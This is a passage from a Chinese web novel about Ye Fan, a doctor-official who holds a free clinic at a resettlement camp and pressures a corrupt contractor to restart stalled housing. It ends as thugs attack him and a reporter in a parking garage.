“看病?说得轻巧。去一趟医院,挂号、检查、拿药,几百块就没了。我们老两口的退休金,一个月才几个钱?拆迁补偿的那点钱,连个首付都不够,谁敢乱花?”
叶凡沉默了。
他站起身,环视着这个简陋的“家”,墙壁上糊着报纸,角落里堆着捡来的纸箱和瓶子。
这哪里是家,分明就是个苟延残喘的窝棚。
“孙师傅,能跟我说说具体情况吗?”叶凡拉过一个小板凳,坐了下来,“我想听真话。”
或许是叶凡医生的身份让他放下了戒备,或许是积压了一肚子的委屈需要倾诉。
孙大强叹了口气,打开了话匣子。
从拆迁时承诺的天花乱坠,到补偿款的层层克扣;从说好的三年内住上新楼,到如今只能挤在这冬冷夏热的板房里;从安置区里三天两头停水断电,到垃圾成堆无人清理……
孙大强越说越激动,浑浊的眼睛里泛起了红光。
“他们把我们当什么了?当猪狗吗?那些道貌岸然的领导,他们自己住着大别墅,开着好车,他们来看过我们一眼吗?他们只想着把地卖了,拿钱去搞他们的政绩!”
“负责给我们盖安置房的那个公司,叫什么‘宏发建工’,盖了一半就停工了,说资金断了。狗屁!他们就是想把我们耗死在这里!”
宏发建工。
叶凡的瞳孔微微一缩。
高明远的病灶,比他想象的还要深,还要烂。
听完孙大强的倾诉,叶凡没有立刻表态,也没有说什么“我一定帮您解决”的空话。
他站起身,走到门口,看着外面灰蒙蒙的天空,缓缓开口。
“孙师傅,我今天不能向您保证,明天就能住上新房,后天就能拿到全额补偿款。那些话,太虚。”
孙大强的眼神又黯淡了下去。
“但是,”叶凡转过身,看着他,目光清澈而坚定,“我可以向您保证两件事。”
“第一,明天上午九点,我会安排县人民医院的专家,带上设备,来这里搞一个义诊。不光是给阿姨看病,所有住在这里的老人,都可以免费检查身体,免费拿药。看病的事,不能再拖了。”
“第二,安置房的问题,我亲自来抓。从明天起,我会天天来这里。什么时候问题解决了,我什么时候不来。孙师傅,您是老工人,也是老党员,您信我一次,给我一个月的时间。”
叶凡从口袋里掏出笔和一张便签,写下自己的手机号码,递了过去。
“这是我的手机号,二十四小时开机。您有什么事,随时可以打给我。如果一个月后,我做不到,您就拿着这张条子,去县委大楼门口堵我。”
孙大强捏着那张写着电话号码的薄薄纸条,手有些抖。
他看着眼前的年轻人,看着他那双不像官员、更像医生的眼睛,嘴唇翕动了半天,一个字也说不出来。
第160章 仁心是药,也是刀!
晚上十点,叶凡才回到办公室。
他没有开灯,只是站在窗边,看着楼下县城的万家灯火,脑子里反复回想着孙大强家那昏暗的灯光和压抑的咳嗽声。
手机震动了一下,是苏沐秋发来的微信。
“叶大组长,城南新区首日巡视,感觉如何?有没有被刁民**?”后面跟了个看热闹不嫌事大的坏笑表情。
叶凡笑了笑,直接拨通了她的电话。
“喂?查岗啊?”苏沐秋的声音带着几分慵懒。
“刚从‘病房’回来。”叶凡靠在窗边,声音有些疲惫,但更多的是一种冷静的兴奋,“我找到原发病灶了。高明远这个前任主刀医生,手术做得太糙,他只切了皮,把里面化脓的肿瘤,全都留下了。”
电话那头的苏沐秋立刻坐直了身体:“这么严重?”
“比CT片子上显示的,严重得多。”叶凡说,“癌细胞已经扩散到了整个社区的肌体,再不进行根治性切除,这个病区,就彻底没救了。”
“那……叶神医,你的手术方案是什么?”苏沐秋的声音里透着一股跃跃欲试的激动。
“手术前,得先稳住病人的生命体征。”叶凡笑了笑,“明天上午九点,第一剂‘抗生素’,会准时送到城南安置区。我需要江城晚报最优秀的战地记者,全程记录用药过程。”
“收到!”苏沐秋的声音清脆而响亮,“保证完成任务!对了,药名是什么?”
“药名?”叶凡看着窗外的夜色,轻声说,“就叫‘仁心’。”
……
第二天一早,城建局长王建林的办公室里,烟雾缭绕。
财政局的刘胖子一屁股陷在沙发里,脸上的肉挤成一团:“老王,你说那姓叶的小子,到底想干什么?真把人民医院的专家弄去义诊?他这是演戏给谁看?”
王建林狠狠摁灭烟头,眼神阴鸷:“他不是演戏,他是要我们的命!你没看明白吗?他绕开了我们,直接去跟那帮刁民套近乎。人心要是被他收买了,我们就被动了!”
“那能怎么办?他现在是县长跟前的红人,我们总不能拦着不让他做好事吧?”刘胖子愁眉苦脸。
“拦?当然不能拦。”王建林冷笑一声,“我倒要看看,他一个医生,能玩出什么花样。走,咱们也去‘关心’一下,看看叶组长的‘仁心’,到底能换来几斤**。”
……
上午九点,城南安置区。
苏沐秋带着摄影师早就到了。
她看到,几十个居民聚在不远处,交头接耳,指指点点,眼神里全是怀疑和麻木。
孙大强站在人群最前面,双手抱在胸前,表情看不出喜怒。
一辆中巴车缓缓驶入,停在空地上。
车门打开,几个穿着白大褂的医生护士鱼贯而出,开始布置桌椅,摆放听诊器、血压计等设备。
居民们没动,依旧在观望。
“搞这些花架子有什么用?能给我们房子吗?”
“就是,去年不也来过一次,拍了几张照片就没影了。”
苏沐秋将这些议论声,都用录音笔悄悄记下。
这时,叶凡从一辆普通的桑塔纳上下来。
他今天没穿干部夹克,而是一身简单的休闲装,外面套了一件白大褂。
他径直走向医疗队,熟练地戴上口罩和手套,对领队的内科主任说:“王主任,今天我们不是领导,不是干部,我们就是医生。忘了身份,只记职责。”
那王主任本来还有些不情不愿,被院长一个电话硬派来的,此刻看到叶凡这副做派,微微一愣,随即也郑重地点了点头。
叶凡没有发表长篇大论,只是拿起一个扩音喇叭,对着人群喊了一句:“各位乡亲,我是叶凡,是青川县卫生局的局长。今天看病,不花一分钱。信得过我,就过来。”
说完,他便坐回桌子后面,不再言语。
孙大强看着他,又看看他身边那些专业的设备和医生,沉默了半晌,终于一跺脚,朝自己老伴喊道:“老婆子,过来!让他看看!反正不要钱,不看白不看!”
孙大强的爱人在一片窃窃私语中,第一个坐到了叶凡面前。
叶凡没有多问,拿起听诊器,神情专注地听了起来。
他的动作标准、沉稳,眼神里有一种让人信服的力量。
“阿姨,您这是慢性阻塞性肺病,急性发作。”叶凡放下听诊器,语气不容置疑,“单纯的咳嗽药没用,得用扩张支气管的喷雾剂。您是不是觉得,每次吸药,效果都不太好?”
孙阿姨惊讶地点点头:“是啊,叶医生,你怎么知道?有时候吸了跟没吸一样。”
“方法不对。”叶凡环顾四周,看到墙角一个被丢弃的矿泉水瓶,走过去捡了起来。
他在众人不解的目光中,要来一把剪刀,三下五除二,将瓶子改造成一个简易的储雾罐。
“来,阿姨,您再试试。”他将喷雾剂的接口插在瓶盖上,另一端罩在孙阿姨的口鼻处,“吸气,憋住,慢慢呼出来。”
孙阿姨照做,吸入一口药雾。
几秒钟后,她剧烈的喘息声,奇迹般地平复了下来。
她长长地舒了一口气,脸上露出了久违的轻松表情。
“哎呀!不喘了!真的不喘了!”孙阿姨激动地抓住叶凡的手。
周围的居民全都看傻了。
一个破瓶子,竟然有这么神奇的效果?
孙大强更是目瞪口呆,他看着叶凡,眼神彻底变了。
这个年轻人,不是在作秀,他有真本事!
“都愣着干什么!叶医生是神医!还不快过来排队!”孙大强扯着嗓子吼了一嗓子。
人群“呼啦”一下,全都涌了过来。
就在这时,人群后方突然一阵骚动。
“让开!让开!救命啊!”
一个中年妇女哭喊着,背着一个七八岁的小男孩冲了过来。
那孩子脸色青紫,嘴唇发黑,喉咙里发出“嗬嗬”的怪声,眼看就要不行了。
“食物卡喉了!”内科的王主任脸色一变,“快!海姆立克急救法!”
两个年轻医生立刻上前,却因为紧张,动作有些变形,试了几次都没成功。
孩子的脸色越来越紫。
“我来!”叶凡一步跨过去,将孩子从他母亲背上接下。
他没有采用常规的站立式急救,而是单膝跪地,让孩子的身体趴在他的大腿上,头低脚高。
“别慌!”他对那吓傻的母亲说,“孩子早上吃了什么?”
“是……是果冻!”
叶凡眼神一凝,果冻质地特殊,海姆立克法效果有限。
他左手托住孩子下颌,右手并拢,以一个极为精准的角度和力度,在孩子背部两肩胛骨之间,快速叩击了五次。
“噗”的一声,一小块晶莹的果冻,从孩子嘴里喷了出来。
“哇——”的一声,孩子剧烈地咳嗽着,哭了出来。
青紫的脸色以肉眼可见的速度恢复了红润。
全场,一片死寂。
几秒钟后,雷鸣般的掌声轰然响起。
那个母亲“扑通”一声就给叶凡跪下了,哭着喊:“谢谢叶局长!谢谢叶神医!您是我儿子的大恩人啊!”<
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br>叶凡连忙将她扶起,把孩子交还给她,声音温和:“没事了,以后别给这么小的孩子吃果冻。”
苏沐秋站在不远处,相机快门按得发烫。
她看着那个单膝跪地,眼神冷静而专注的男人,心脏不争气地狂跳起来。
这个男人,在手术台上能救命,在官场上能**,在百姓面前,又能变成菩萨。
他到底有多少张面孔?
躲在车里的王建林和刘胖子透过车窗,将这一幕看得清清楚楚。
两人对视一眼,都从对方眼中看到了深深的惊骇和恐惧。
刘胖子擦了擦额头的冷汗,声音发干:“老王,这……这他妈哪是来搞**的,这是来收人心的活菩萨啊!我们跟他斗?”
王建林的脸色比锅底还黑。
……
县长办公室里,**放下了电话,脸上是掩饰不住的笑意。
电话是他在医院的眼线打来的,把义诊现场的情况,添油加醋地汇报了一遍。
“好!好啊!”**一拍大腿,在办公室里来回踱步,“小叶这一手‘义诊’,釜底抽薪,比我开十次**会都管用!漂亮!真是漂亮!”
他拿起桌上的内线电话,拨通了城建局。
“我是**,让王建林马上来我办公室一趟!”他的语气,不容置疑。
五分钟后,王建林敲门进来,脸上堆着僵硬的笑:“县长,您找我?”
**指了指他对面的椅子,没有让他坐,而是把一份文件丢在桌上:“这是城南新区安置房的工程进度报告,你给我解释一下,为什么停工了半年?”
王建林冷汗“唰”就下来了:“县长,主要是宏发建工那边,资金链断了……”
“资金链断了?”**冷笑,“我怎么听说,宏发建工的老板,上个月刚换了辆新的奔驰S级?王局长,你这个城建局长,是不是也该换换脑子了?”
王建林双腿一软,差点没站稳。
“我不管你用什么办法!”**一字一句道,“三天之内,城南新区的安置房项目,必须全面复工!否则,你就自己去纪委,把问题说清楚!”
……
义诊一直持续到傍晚才结束。
叶凡送走最后一批医疗队的同事,疲惫地靠在车门上,揉着眉心。
一瓶冰凉的水递到他面前。
他抬起头,看到苏沐秋正笑吟吟地看着他,眼睛里像是有星星。
“叶神医,今天普度了众生,感觉怎么样?”
“感觉……”叶凡接过水,拧开喝了一大口,冰凉的液体顺着喉咙流下,带走了几分燥热,“感觉手术才刚刚开始。麻药打完了,接下来,该动刀了。”
苏沐秋凑近了一些,压低声音,语气里带着几分狡黠:“我可都听说了,李大县长雷霆震怒,城建局长王建林跟孙子似的被骂了出来。你这剂‘仁心’,药效够猛啊。”
“还不够。”叶凡看着远处渐渐亮起灯火的安置区板房,“今天只是止痛。病根,在宏发建工那儿。不把这个肿瘤切干净,随时会复发。”
“那你的手术刀,准备好了吗?”苏沐秋的眼睛亮晶晶的。
“刀已经磨好了。”叶凡笑了笑,目光转向她,“不过,还需要一位最优秀的战地记者,帮我把手术过程,全程直播出去。你,敢不敢接?”
“有什么不敢的?”苏沐秋扬起下巴,一股傲气油然而生,“我不仅要直播,我还要写一篇社论,标题我都想好了。”
“叫什么?”
苏沐秋看着他,一字一句道:“《有一种官,他首先是个人》。”
第161章 东风与手术台!
周二,《江城晚报》的民生版头条,刊登了一篇署名“沐秋”的特写报道。
标题并不耸动,甚至有些文艺——《有一种官,他首先是个人》。
文章没有点叶凡的名字,只用“一位下派到青川负责项目攻坚的年轻干部”来代指。报道以白描的手法,细致入微地还原了城南安置区那场特殊的义诊。
从居民们最初的麻木怀疑,到孙阿姨被一个矿泉水瓶解决困扰多时的呼吸难题;从医生们专业的问诊,到最后那惊心动魄的“果冻夺命”一刻。
苏沐秋的文笔极具感染力,她没有用华丽的辞藻去吹捧,而是将镜头聚焦在那个单膝跪地、眼神专注的背影上,聚焦在孩子得救后,那位母亲长跪不起的泪水里,聚焦在围观居民们从死寂到爆发出雷鸣掌声的转变中。
文章的结尾,她写道:“我们常常讨论为官之道,或许,最朴素的道理,就是将心比心。当一个干部,脱下夹克,穿上白大褂,他找回的不仅是医生的本职,更是作为一个人,对另一个人的悲悯与共情。这或许,才是解决一切难题的开始。”
这篇文章,如同一股东风,一夜之间吹遍了江城。
上午九点,青川县县长办公室,**将报纸重重拍在桌上,脸上的笑容却怎么也藏不住。
“好!好一个‘他首先是个人’!”**在办公室里走了两个来回,只觉得浑身舒泰,“苏沐秋这支笔,比纪委的通报管用!这一下,我看青川县还有谁敢在城南新区的事情上打马虎眼!”
他拿起电话,直接拨给了县委宣传部:“通知县电视台、县报,把《江城晚报》今天这篇报道给我全文转载!要放在最显眼的位置!让全县的干部都好好学习学习,什么叫真正地为人民服务!”
而在城建局局长王建林的办公室里,气氛则如同冰窖。
那份报纸被他揉成一团,丢在地上。
财政局的刘胖子坐在他对面,脸色煞白,手里的茶杯一直在抖。
“老王……这……这他妈是把我们架在火上烤啊!”刘胖子的声音都变了调,“现在全江城都知道青川有个‘活菩萨’干部,也都知道城南安置区那帮人过的是什么日子。这要是再出点什么岔子,你我的人头,都不够给市里交代的!”
王建林一言不发,一根接一根地抽烟。
他昨天被**骂得狗血淋头,连夜去找了宏发建工的王海。
那个不知死活的二世祖仗着他舅舅高明远虽然倒了,但关系网还在,竟然还敢跟他拍桌子。
“复工?王局长,你跟我开什么玩笑?”王海翘着二郎腿,嘴里叼着雪茄,“我舅舅刚出事,公司账上资金紧张,你让我拿什么复工?要钱没有,要命一条!”
王建林当时气得差点掀了桌子,可王海就是个滚刀肉,软硬不吃。
现在,苏沐秋这篇报道一出来,等于是在他背后又推了一把,直接把他推到了悬崖边上。
“叮铃铃——”
办公桌上的红色电话突然响起,王建林一个激灵,手里的烟都掉在了地上。
他看着那个号码,是县政府叶凡办公室的。
他深吸一口气,接起电话,声音干涩:“喂,叶组长。”
“王局长,上午十点半,还是三楼小会议室,关于城南新区安置房的复工事宜,开个碰头会。”叶凡的声音很平静,听不出任何情绪。
“好,我马上到。”王建林挂了电话,只觉得手脚冰凉。
“他……他又想干什么?”刘胖子紧张地问。
王建林惨笑一声,捡起地上的报纸,展开,抚平:“他要动手术了。我们,就是他手术台上的病人。”
……
上午十点二十五分,王建林和刘胖子一前一后地走进三楼小会议室,当他们看清会议室里坐着的人时,两人瞬间僵在了门口。
会议室里,不仅有发改、国土等几个部门的负责人,更显眼的是另一侧坐着的七八个普通居民。
为首的,正是那个在报纸上被提了一嘴的“钉子户”头头,孙大强!
孙大强和几个老街坊正襟危坐,腰杆挺得笔直。
他们这辈子都没想过自己有一天能和这些平时眼高于顶的局长们,坐在同一张桌子上开会。
每个人脸上都带着一种难以言喻的激动和紧张。
叶凡坐在主位上,看到王建林进来,只是淡淡地点了点头:“王局长,坐吧,就等你了。”
王建林感觉自己的双腿像是灌了铅,他挪到自己的位置上,屁股只敢沾半个椅子边。
他不敢去看孙大强,那老头的眼神像刀子一样,刮得他脸皮生疼。
“各位,今天请大家来,主要是通报一下安置房项目的最新进展。”叶凡环视一圈,目光最后落在王建林身上,“昨天,李县长已经明确指示,安置房项目必须在三天内全面复工。王局长,你作为城建部门的一把手,具体落实得怎么样了?孙师傅他们都在这儿,你也正好,当面跟大家伙儿交个底。”
一瞬间,所有人的目光都聚焦在了王建林身上。
王建林的后背“唰”的一下全湿了。
交底?
交什么底?
说他昨天去找了承建商,结果被人家喷了一脸,灰溜溜地回来了?
说那个承建商,就是前任常务副县长的外甥,现在正耍无赖,谁的面子都不给?
这些话要是当着孙大强的面说出来,明天县政府的大门都得被这帮居民给堵了!
可要是不说实话,叶凡这尊神就在旁边看着,他能蒙混过关?
王建林的脑子飞速旋转,汗珠顺着额角滚落下来。
他清了清嗓子,声音沙哑:“叶组长,各位乡亲。这个……复工的事情,我们局里高度重视。昨天……昨天我已经和承建方宏发建工的负责人,进行了初步沟通。对方也表示……会积极配合。但是,这个资金问题……确实是个大难题,还需要一点时间来周转……”
他这番话说得含含糊糊,典型的官场太极。
孙大强听完,当场就忍不住了,一拍桌子站了起来:“王局长!又是资金问题!又是要时间!这话我们听了三年了!我们的房子到底什么时候能盖好,你今天就给句准话!我们还能不能活到住进新房子的那一天!”
“孙师傅,你别激动,别激动……”王建林吓了一跳,连忙站起来安抚。
“我能不激动吗?”孙大强指着自己的胸口,气得浑身发抖,“我们相信政府,才搬出来的!现在倒好,我们住在那猪狗不如的板房里,你们一个个坐办公室吹空调!今天叶组长给我们做主,你必须给我们一个说法!”<
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br>会议室里顿时乱成一团。
“安静。”
叶凡轻轻敲了敲桌子,声音不大,却让所有人都静了下来。
他看向王建林,眼神平静如水:“王局长,资金问题是客观存在的。但我想问一句,宏发建工的资金,具体是哪个环节出了问题?是银行贷款没批下来,还是公司的自有资金周转不开?当初县里拨给项目的预付款,又用在了哪里?这些,城建局作为监管单位,总该有本账吧?”
叶凡的每一个问题,都像一把精准的手术刀,直插要害。
王建林张了张嘴,一个字也答不上来。
那本账,就是一本烂账,根本经不起查。
叶凡没再逼他,转头看向财政局的刘胖子:“刘局长,当初和宏发建工签订的工程合同,财政局这边应该有备份吧?能不能现在就让人送过来,我们现场看一看,合同里关于资金支付和工程进度的条款,是怎么约定的。”
刘胖子的脸瞬间变成了猪肝色。
那份合同,就是高明远一手操办的霸王合同,对政府的约束多,对承建商的约束少得可怜。
拿出来,就是把县政府的脸放在地上让人踩!
看着这两人窘迫的模样,叶凡心里跟明镜似的。
他端起茶杯,轻轻吹了吹,慢悠悠地说道:“看来,问题比我们想象的要复杂。既然承建方不配合,监管方又有难处,我看,这台手术,不做不行了。”
他放下茶杯,看着王建林,语气突然变得森然。
“王局长,我给你两个选择。”
“第一,今天下午五点之前,你让宏发建工的负责人,带着他们的账本和施工方案,主动来这里,向孙师傅他们解释清楚,什么时候复工,什么时候交房。拿不出方案,就别想走出这个门。”
“第二,”叶凡顿了顿,目光扫过在场的所有人,“如果他五点之前不来。那么,明天上午,县政府将成立联合调查组,由纪委牵头,财政、审计、城建配合,正式进驻宏发建工,彻查其从成立以来,在青川承接的所有政府工程项目。同时,县政府将单方面中止与宏发建工的合同,追究其违约责任,并将其列入所有政府项目的采购黑名单。”
“到时候查出什么问题,牵扯到什么人,可就不是复工这么简单了。”
叶凡的声音在安静的会议室里回荡,每一个字,都像一记重锤,狠狠砸在王建林和刘胖子的心上。
王建林彻底傻了。
他看着叶凡,这个年轻人脸上甚至还带着一丝温和的笑意,但说出来的话,却比腊月的寒风还要刺骨。
这不是在商量,这是最后通牒。
要么,他去逼王海就范。
要么,叶凡就掀桌子,把所有人都埋进去!
王建林毫不怀疑,以叶凡现在的势头,加上**的支持和市里的**,他绝对做得出来!
他拿起手机,手抖得几乎握不住,哆哆嗦嗦地走出了会议室。
孙大强和居民们看着这一幕,都有些发懵,但他们能感觉到,这次,好像真的不一样了。
会议室里,叶凡的手机震动了一下。
是苏沐秋发来的微信:“叶大夫,手术还顺利吗?需不需要战地记者提供一点‘**麻醉’?”
叶凡笑了笑,回了两个字:“收尾。”
第162章 请君入瓮!
县政府三楼,小会议室外的走廊尽头,城建局长王建林捏着手机,手心全是湿滑的冷汗。
电话接通的那一刻,他几乎是用气声在说话。
“王总,王总!出大事了!”
电话那头传来一阵嘈杂的音乐和嬉笑声,一个年轻而嚣张的声音懒洋洋地响起:“王局长?什么事这么火急火燎的?天塌下来了?”
是王海,宏发建工的老板,前常务副县长高明远的外甥。
王建林压着嗓子,语速快得像连珠炮:“天是没塌,但有人要把它捅个窟窿!姓叶的那个,叶凡!他开了个会,把孙大强那帮刁民全都请来了,当着所有人的面,给我下了最后通牒!”
“叶凡?哪个叶凡?”王海显然没把这个名字放在心上。
“就是把……把你舅舅弄下去那个!”王建林的声音都在发颤,“他说,下午五点之前,你要是不到场给个说法,明天一早,纪委就牵头成立联合调查组,进驻宏发,查你们公司在青川接的所有工程!是所有!”
“什么!”电话那头的音乐声戛然而止。
王海的声音瞬间清醒,也拔高了八度,“他敢!他算个什么东西!”
“他怎么不敢!**现在把他当亲儿子!市里的报纸今天刚把他捧成活菩萨!他现在就是拿着尚方宝剑!王总,这不是开玩笑,我们现在是一根绳上的蚂蚱,你完了,我也活不了!”王建林几乎要哭出来了。
电话那头沉默了足足半分钟,只听见粗重的喘息声。
最后,王海从牙缝里挤出几个字:“我马上过去!”
……
会议室里,气氛有些奇特。
孙大强和几位居民代表,一开始还正襟危坐,满脸肃穆。
可时间一长,见叶凡气定神闲地坐在那里,甚至还饶有兴致地跟旁边的内科王主任讨论起了孙阿姨的用药剂量,他们也渐渐放松下来。
叶凡没有一点领导的架子,他侧过头,低声问孙大强:“孙师傅,您那老寒腿,阴雨天是不是特别难受?”
孙大强愣了一下,点了点头:“是啊,跟天气预报似的。”
“回头我给您写个方子,是外敷的。”叶凡笑了笑,“不敢说根治,但能让您舒服不少。”
坐在孙大强旁边的一个大妈眼睛一亮,凑了过来:“叶组长,您……您还没结婚吧?我外甥女,在县一中当老师,长得可水灵了……”
“咳咳!”孙大强老脸一红,赶紧打断她,“瞎说什么呢!叶组长是干大事的人!”
叶凡莞尔,刚想说点什么,手机轻轻震动了一下。
是苏沐秋发来的微信:“王局长出去打电话超过十分钟了,根据心理学分析,通话对象要么是情人,要么是债主。你觉得是哪个?”
叶凡看着这条信息,嘴角忍不住微微上扬。他回复道:“都不是,是来送手术费的病人。”
他这个细微的表情变化,落在了对面财政局刘胖子眼里,却被解读成了另一种意思。
刘胖子只觉得这位年轻的叶组长,脸上的笑容温和,可那双眼睛却像手术刀一样,泛着冷光,仿佛已经算准了等会儿要从谁身上下刀,切几斤肉下来。
他越想越怕,额头的汗又冒出了一层。
时间一分一秒地过去,墙上的挂钟,指针眼看就要指向五点。
会议室里,除了叶凡偶尔和居民们的低语,安静得可怕。
王建林还没回来,刘胖子和其他几个部门的头头如坐针毡,屁股在椅子上挪来挪去,坐立不安。
就在这时,会议室的门被猛地推开。
王建林白着一张脸,跟在后面。
先进来的,是一个二十七八岁的年轻人,穿着一身潮牌,头发梳得油光锃亮,只是脸色同样不太好看。
他一进门,目光就跟雷达似的扫了一圈,当他看到孙大强那帮人时,眼神里闪过一丝不屑,最后,定格在了主位上的叶凡身上。
“我就是宏发建工的王海。”他拉开一张椅子,大马金刀地坐下,试图用气势压倒对方,“哪位是叶组长?有什么事,说吧。”
叶凡连眼皮都没抬一下,端起面前的茶杯,轻轻吹了吹浮沫。
“王总,你迟到了三分钟。”
一句平淡的话,却让王海准备好的一肚子说辞,全都堵在了喉咙里。
他感觉自己像一拳打在了棉花上,说不出的难受。
叶凡放下茶杯,这才抬眼看他,但目光却转向了孙大强:“孙师傅,宏发建工的王总来了。你们有什么问题,有什么委屈,现在可以当着他的面,也当着我们这么多政府部门负责人的面,说清楚。”
他直接把舞台,交给了人民群众。
孙大强等的就是这句话。
他“豁”地站起来,双眼通红,指着王海的鼻子:“王总?我呸!你还有脸来?我们的拆迁补偿款,你克扣了多少?说好的一年半交房,现在三年过去了,连个鬼影都没有!我们一家老小,还挤在那冬冷夏热的破板房里!你呢?你上个月是不是刚换了辆大奔?”
“我……”王海被问得脸色一阵红一阵白,他哪受过这个气,拍着桌子就想发作。
可他刚要开口,孙大强身后的一个大汉就吼了起来:“你拍什么桌子!想**啊!我们几百号人就在楼下等着,你要是敢动我们一根指头试试!”
王海的气焰,瞬间被压了下去。
他这才意识到,今天他面对的,不是一两个可以随意拿捏的“刁民”,而是一个被叶凡武装起来的,同仇敌忾的集体。
叶凡适时地敲了敲桌子,将所有人的注意力拉了回来。
“看来,群众的怨气很大啊。”他看向王建林和刘胖子,“王局长,刘局长,既然王总也来了,那就麻烦把当初的工程合同拿出来,我们现场对一对条款。看看当初约定的付款进度、工程节点,再看看宏发建工的账目,县里拨的款子,到底花在了哪里。”
王建林和刘胖子的脸一下子变得比王海还难看。
这一下,等于是把他们也架在了火上。
他们很清楚,那份合同在高明远的授意下,漏洞百出。
查账?那更是自寻死路!
王海终于明白了叶凡的狠毒之处。
他这是在逼着王建林和刘胖子跟自己切割,逼着他们为了自保,反过来咬死自己!
“叶凡!你别欺人太甚!”
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王海急了,口不择言地喊道,“你以为我舅舅倒了,我就任你拿捏了?我告诉你,青川这盘棋,不是你一个外来户想怎么下就怎么下的!”
“说得好。”叶凡忽然笑了,他身体微微前倾,盯着王海的眼睛,一字一句地说道,“所以,我今天不是来跟你下棋的。”
“我是来掀棋盘的。”
他拿起桌上的电话听筒,作势要拨号:“王总,现在是下午五点零五分。我给你最后一次机会。要么,你现在,立刻,拿出让所有人都满意的解决方案。要么,我现在就给纪委孙**打电话。我想,孙**对高明远同志留下的‘**遗产’,应该会很感兴趣。”
市纪委!
孙**!
这三个字,像三记重锤,狠狠砸在王海的心上。
他舅舅就是被纪委带走的!
他比谁都清楚,一旦纪委介入,查的就绝不仅仅是工程延期这点事了。
他那些见不得光的账目,那些和他舅舅之间的利益输送……到时候,就不是赔钱的问题,而是要进去吃牢饭了!
王海的额头,冷汗瞬间布满。
他看着叶凡那张平静甚至带着一丝笑意的脸,第一次感觉到了发自骨髓的恐惧。
这个人,根本不是在虚张声势。
他就是个疯子,一个敢抱着煤气罐冲进瓷器店的疯子!
“我……我同意……”王海像是被抽干了所有力气,瘫软在椅子上,声音细若蚊蝇,“我……我马上安排复工……资金……资金明天就到位……”
会议室里,先是死一般的寂静。
随即,“轰”的一声,孙大强和居民代表们,爆发出雷鸣般的欢呼和掌声。
几个年老的居民,甚至激动得当场就哭了。
孙大强走到叶凡面前,嘴唇哆嗦着,一个“谢”字哽在喉咙里,半天说不出来,最后只能深深地鞠了一躬。
……
傍晚,夕阳将县政府大楼的影子拉得老长。
叶凡走出大门,长长地舒了一口气。
王建林和刘胖子跟在他身后,态度恭敬得像两个小学生,抢着帮他按电梯,脸上堆满了劫后余生的谄媚笑容。
“叶组长,您慢走,您慢走。”
叶凡摆了摆手,没理会他们。
他刚走到楼下的停车场,就看到一辆红色的甲壳虫旁,一道靓丽的身影正倚着车门。
苏沐秋穿着一身米色的风衣,长发被晚风轻轻吹起,手里晃悠着两张电影票,正笑吟吟地看着他。
“叶大夫,恭喜你,又成功完成一台高难度的肿瘤切除术。”她朝他眨了眨眼,嘴角噙着一抹狡黠的笑意,“手术做完了,是不是该兑现承诺,陪你的专属战地记者,看场电影了?”
叶凡走过去,看着她明亮的眼睛,一天的疲惫仿佛都消散了。
“看什么?”
“爱情片。”苏沐秋扬了扬手里的票,又变戏法似的从车里拿出一大桶爆米花,“我特意买了焦糖的,甜。”
她把“甜”字说得意味深长,温热的爆米花桶塞进叶凡手里,空气中都弥漫开一股香甜的味道。
叶凡看着她,忽然笑了。
“好,今天听你的。”
第163章 逆鳞!
电影院门口的霓虹灯,将苏沐秋的脸映得流光溢彩。
她晃了晃手里的两张票,像只炫耀战利品的小狐狸:“《爱在黄昏日落时》,文艺爱情片,够不够诚意?”
叶凡从她手里接过那桶温热的焦糖爆米花,香甜的气味钻进鼻子里,似乎连日来的疲惫都被冲淡了几分。
“诚意是够了,”他故意板着脸,“就是不知道,苏大记者平时看的都是些什么?《一个记者的自我修养》?”
“去你的。”苏沐秋被他逗乐了,伸**了一颗爆米花丢进嘴里,腮帮子鼓鼓囊囊的,“我看的都是《霸道主编爱上我》、《天才记者的百亿新娘》……满意了吗,叶组长?”
叶凡看着她那副娇俏又带点小得意的模样,忍不住笑出了声。
两人并肩走进影厅,在昏暗的光线里找到座位。
电影开场,巨大的银幕上,男女主角在巴黎的街头重逢,絮絮叨叨地谈论着人生与爱情。
苏沐秋看得很专注,侧脸的轮廓在银幕的光影变幻中显得格外柔和。
叶凡的心思却有些飘忽,他没怎么听清台词,只是偶尔转头,看看身边的人。
爆米花桶放在两人中间,有时候,去拿爆米花的手会不经意地碰到一起,指尖短暂的温热触感,像微弱的电流,一闪而过。
苏沐秋会若无其事地收回手,但叶凡能看到她耳根处泛起了一抹不易察觉的红。
空气中,焦糖的甜味和她身上淡淡的洗发水香味混合在一起,形成一种令人心安的氛围。
叶凡想,这样的时刻,真好。
电影结束,片尾曲响起,灯光亮起。
“走吧,叶大夫,”苏沐秋伸了个懒腰,站起身,“送本记者回家,明天还要早起给你写表扬稿呢。”
“那可得好好写,”叶凡跟在她身后,顺着人流往外走,“标题我都想好了,就叫《青川出了个叶青天》。”
“你怎么不去说书?”苏沐秋白了他一眼,嘴角却忍不住上扬。
两人一路说笑着来到地下停车场。
这个时间点,停车场里空空荡荡,只有几排冰冷的照明灯管,发出“嗡嗡”的电流声。
苏沐秋按了下车钥匙,不远处的红色甲壳虫闪了闪灯。
就在他们朝车子走过去时,旁边一根巨大的承重柱后面,突然走出了四五个身影。
为首的是个光头,脖子上一条粗大的金链子,在惨白的灯光下晃着眼。
他们手里都拎着半米长的钢管,一步步围了上来,脸上带着不怀好意的笑。
叶凡立刻将苏沐秋拉到自己身后,神经瞬间绷紧。
“几位,有事?”他沉声问道,目光快速扫过几人,大脑飞速运转。
是求财?还是……
光头男用钢管敲了敲地面,发出“铛”的一声脆响,在空旷的停车场里格外刺耳。
“你就是叶凡?”他歪着头,打量着叶凡,“有人托我们给你带个话,做人留一线,日后好相见。不该你管的事,就别伸手。”
叶凡心里一沉。
王海!
他没想到,王海竟然这么快就用上了这种最下作的手段。
“他给了你们多少钱?”叶凡让自己保持冷静,他知道,这种时候,恐惧是催化剂,“我出双倍。”
“哈哈哈哈!”光头男像是听到了天大的笑话,“小子,你以为这是钱的事?这是面子!今天不让你挂点彩,我们兄弟以后还怎么在道上混?”
他话音刚落,旁边一个黄毛就没耐心了,骂骂咧咧地挥舞着钢管冲了上来:“跟他废什么话!先打断他一条腿!”
叶凡瞳孔一缩,他只是个医生,身体素质比普通人好些,但面对这种亡命徒,他没有任何胜算。
他下意识地侧身,想把苏沐秋完全护在身后。
可他快,苏沐秋的反应更快。
就在钢管带着风声砸向叶凡的瞬间,苏沐秋不知哪来的力气,猛地将他推向一边。
“小心!”
“砰!”
一声沉闷得令人心悸的巨响。
钢管结结实实地砸在了苏沐秋的左肩上。
“呃啊——”
